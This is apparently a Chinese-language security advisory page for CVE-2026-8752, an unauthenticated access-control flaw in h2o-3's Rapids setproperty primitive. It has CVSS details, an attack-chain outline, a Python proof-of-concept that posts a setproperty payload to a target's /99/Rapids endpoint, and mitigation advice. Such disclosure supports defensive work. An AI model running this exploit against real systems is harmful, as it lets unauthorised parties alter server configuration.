IPBUF安全漏洞报告
English
CVE-2026-8752 CVSS 5.3 中危

CVE-2026-8752 h2o-3访问控制漏洞

披露日期: 2026-05-17

漏洞信息

漏洞编号
CVE-2026-8752
漏洞类型
访问控制缺失
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
h2oai h2o-3

相关标签

访问控制缺失h2o-3CVE-2026-8752RCE权限绕过

漏洞概述

h2oai h2o-3 7402及之前版本中存在访问控制缺陷漏洞。该漏洞位于Rapids组件的setproperty处理程序,由于exec函数未正确实施权限校验,导致未经身份验证的远程攻击者可绕过安全限制。攻击者可通过发送恶意请求修改系统配置,破坏数据完整性。目前厂商尚未对此作出响应。

技术细节

该漏洞源于h2o-core/src/main/java/water/rapids/ast/prims/misc/AstSetProperty.java文件中的exec函数缺乏严格的访问控制逻辑。在处理Rapids AST(抽象语法树)请求时,系统未验证调用者权限即执行属性设置操作。攻击者无需用户交互或认证,即可构造包含恶意setproperty指令的AST节点远程调用该接口。成功利用后可篡改系统内部属性,造成完整性影响。由于利用代码已公开,风险较高。

攻击链分析

STEP 1
侦察
攻击者识别互联网上暴露的h2o-3实例服务端口。
STEP 2
漏洞利用
攻击者向目标服务器的Rapids接口发送特制的JSON数据包,调用setproperty原语。
STEP 3
权限绕过
由于exec函数缺乏访问控制检查,系统在未验证 attacker 权限的情况下执行了属性修改操作。
STEP 4
影响达成
系统属性被篡改,导致数据完整性受损或服务配置异常。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ PoC for CVE-2026-8752 - h2o-3 Improper Access Control Description: Exploits the lack of access control in the Rapids setproperty primitive. """ import requests import json def exploit(target_url): # The endpoint for Rapids execution in H2O rapid_endpoint = f"{target_url}/99/Rapids" # Malicious payload attempting to set a restricted property # Structure based on AstSetProperty.java logic payload = { "ast": [ "setproperty", "restricted.system.property", "malicious_value" ] } headers = { "Content-Type": "application/json", "Accept": "application/json" } try: print(f"[*] Sending payload to {rapid_endpoint}...") response = requests.post(rapid_endpoint, data=json.dumps(payload), headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check if property was modified.") print(f"[+] Response: {response.text}") else: print(f"[-] Unexpected status code: {response.status_code}") print(f"[-] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": import sys if len(sys.argv) != 2: print(f"Usage: python {sys.argv[0]} <http://target-h2o-ip:port>") sys.exit(1) exploit(sys.argv[1])

影响范围

h2oai h2o-3 <= 7402

防御指南

临时缓解措施
由于厂商尚未响应,建议暂时禁用H2O的Rapids接口或通过反向代理强制进行身份验证,确保只有管理员才能访问相关功能路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表